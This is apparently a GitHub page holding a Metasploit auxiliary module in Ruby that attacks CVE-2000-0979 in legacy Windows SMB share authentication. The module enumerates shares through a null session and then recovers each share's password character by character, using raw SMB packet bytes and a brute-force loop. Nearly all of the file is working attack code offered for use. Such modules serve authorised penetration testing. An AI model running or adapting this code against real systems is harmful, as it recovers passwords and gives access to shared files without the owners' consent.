-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathmsf_2000_0979.rb
407 lines (335 loc) · 14.8 KB
/
msf_2000_0979.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Rex::Text
def initialize(info = {})
super(update_info(info,
'Name' => 'CVE-2000-0979 password enumerator',
'Description' => %q{
When a client sends an authentication packet to an old Windows SMB share
the client can determine the length on the password check. This means sending
a zero length, the client is instantly authenticated. But this also makes it
easy to enumerate the real password, as the password can be revealed character
by character.
},
'Author' =>
[
'Zoltan Balazs <zoltan1.balazs@gmail.com> @zh4ck',
'Azbil SecurityFriday Co Ltd'
],
'References' =>
[
[ 'CVE', '2000-0979'],
[ 'URL', 'http://www.securityfriday.com/tools/SPC.html'],
],
'License' => MSF_LICENSE,
'Notes' =>
{
'AKA' => [
'Share Password Checker'
]
}
))
register_options(
[
#TODO change delay to float
OptInt.new('DELAY', [false, 'Add delay between password probes', 0]),
OptPort.new('RPORT', [true, 'Set a port', 139])
])
end
def send_recv_once(data)
buf = ''
begin
sock.put(data.pack('C*'))
buf = sock.get_once || ''
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
end
buf
end
def run()
delay = datastore['DELAY']
print_status "Hello CVE-2000-0979"
debug = datastore['DEBUG']
connect
def debug_puts(message,debug)
if debug
print_bad message
end
end
def debug_hex_dump(message,debug)
if debug
#print_bad "todo implement hex_dump"
#print_bad message.to_hex_dump
end
end
#todo redo Object oriented
def update_tid(packet, tid)
tid_arr = tid.unpack('C*')
packet.map! { |val|
if val == "tid0" then
tid_arr[0]
elsif val == "tid1" then
tid_arr[1]
else val
end
}
return packet
end
def update_password(packet, nbs_length,length0, length1, byte_count0, byte_count1,password,
share)
new_packet = packet.map { |val|
if val == "length0" then
length0
elsif val == "length1" then
length1
elsif val == "byte_count0" then
byte_count0
elsif val == "byte_count1" then
byte_count1
elsif val == "nbs_length" then
nbs_length
else val
end
}
share_chars = share.chars.map {|val|
val.ord
}
new_packet.insert(new_packet.find_index("share"),share_chars).flatten!
new_packet.delete_at(new_packet.find_index("share"))
new_packet.insert(new_packet.find_index("password"),password).flatten!
new_packet.delete_at(new_packet.find_index("password"))
return new_packet
end
def update_machine_name(packet,machine_name)
packet.insert(packet.find_index("machine_name"),machine_name).flatten!
packet.delete_at(packet.find_index("machine_name"))
return packet
end
tree_disconnect_request = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe,
0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 ]
machine_name = 32.times.map{ 0x41 + Random.rand(6) }
session_request_def = [0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45,
0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45,
0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43,
0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, "machine_name", 0x00]
session_request_def = update_machine_name(session_request_def,machine_name)
neg_prot_req = [0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42,
0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54,
0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32,
0x00]
sess_setup_andx_req = [0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe,
0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74,
0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09,
0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00,
0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37,
0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e,
0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30,
0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63,
0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33,
0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69,
0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30,
0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00,
0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01,
0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39,
0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32,
0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50,
0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f,
0x00 ]
netshareenum_request = [0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42,
0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xff, 0xfe,
0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00,
0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13,
0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45,
0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72,
0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42,
0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10]
sess_setup_andx_req_anon = [0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42,
0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00,
0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a,
0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00,
0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20,
0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39,
0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f,
0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20,
0x35, 0x2e, 0x30, 0x00]
tree_connect_request_path_password = [0x00, 0x00, 0x00, "nbs_length", 0xff, 0x53, 0x4d, 0x42,
0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00,
0x00, 0x00, 0x00,
"length0", "length1", "byte_count0", "byte_count1","password",
"share", 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00]
tree_disconnect = [0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42,
0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xc0, 0x0b,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00]
myhash = {}
@client_packets = [{ "tree_disconnect_request" => tree_disconnect_request},
{"close1" => "close"},
{"session_request_def" => session_request_def},
{"neg_prot_req" => neg_prot_req},
{"sess_setup_andx_req" => sess_setup_andx_req},
{"netshareenum_request" => netshareenum_request},
{"close3" => "close"},
{"session_request_2" => session_request_def},
{"neg_prot_req_2" => neg_prot_req},
{"sess_setup_andx_req_anon" => sess_setup_andx_req_anon}
]
i = 0
tid = 0
length0, length1, byte_count0, byte_count1,password, share = 0
shares = Array.new
@client_packets.each_with_index { |val, idx|
begin
if val[val.keys[0]].to_s == "close" and sock then
disconnect #close
debug_puts "Opening socket again 1",debug
connect
next
elsif !sock
debug_puts "Opening socket again 2",debug
connect
next
end
if [ 'netshareenum_request'].include? val.keys[0] then
packet = update_tid(val[val.keys[0]], tid)
debug_puts "Packet updated",debug
else
packet = val[val.keys[0]]
end
debug_puts "\nclient data\n",debug
debug_puts val.keys[0],debug
response = send_recv_once(packet)
if val.keys[0] == "sess_setup_andx_req" then
tid = response[28..29]
debug_puts "New tree ID TID !",debug
debug_hex_dump(tid,debug)
end
if val.keys[0] == "session_request_def" then
session_response = response[0]
if (session_response.ord != 0x82) then
print_error "Session response is not positive! Exiting."
exit(0)
end
end
if val.keys[0] == "neg_prot_req" then
error_class = response[9]
if (error_class.ord != 0x0) then
print_error "Error in negotiation! Exiting."
exit(0)
end
end
if val.keys[0] == "netshareenum_request" then
num_of_shares = response[65..66].unpack('cc').first
print_good "Number of shares: "
print_good "\t" + num_of_shares.to_s
print_good "Share names: "
num_of_shares.times do |n|
offset = (n * 20) + 68
share_name = response[offset..offset+15]
shares.push(share_name)
print_good "\t" + share_name
end
end
rescue IOError, SocketError, SystemCallError => e
print_error e.message
print_error e.backtrace.inspect
exit(-1)
end
}
#Start brute-forcing the password
shares.each { |share|
next_share = FALSE
share = share.delete("\000")
nbs_length = 0x33 + share.length
length0 = 0x01
length1 = 0x00
byte_count0 = 0x08 + share.length
byte_count1 = 0x00
password = [0x20] #TODO skip lowercase letters
print_status "Brute-forcing password for share: " + share
while true
begin
packet = update_password(tree_connect_request_path_password,nbs_length, length0, length1,
byte_count0, byte_count1,password,share)
debug_puts "Packet updated",debug
response = send_recv_once(packet)
if ((response[9].unpack('C') +
response[10].unpack('C') +
response[11].unpack('C') +
response[12].unpack('C'))[0] == 0) then
debug_puts 'Auth success, trying next char',debug
if (password[0] ==0x20 and password[1]==0x20)
print_good "Empty password works!\n"
next_share=TRUE
break
end
length0 = length0 + 1
nbs_length = nbs_length + 1
byte_count0 = byte_count0 + 1
password.push(0x20)
tid = response[28..29]
debug_puts "New tree ID TID !",debug
debug_hex_dump(tid,debug)
packet = update_tid(tree_disconnect, tid)
response = send_recv_once(tree_disconnect)
else
password[length0-1] = password[length0-1] + 1
password.each { |val|
print val.chr()
}
print "\r"
if delay > 0 then
sleep(delay)
end
sleep(0.01)
if (password[length0-1] > 128) then
password.each { |val|
if (val < 128) then
print val.chr()
end
}
if length0 > 1
print_status
print_good '<- No more characters to try, this should be your password, yikes :) '+"\n"
else
print_status "Password not found :("+"\n"
end
next_share=TRUE
end
end
rescue IOError, SocketError, SystemCallError => e
print_error e.message
print_error e.backtrace.inspect
exit(-1)
end
if (next_share) #moving on to the next share
break
end
end
}
disconnect
end
end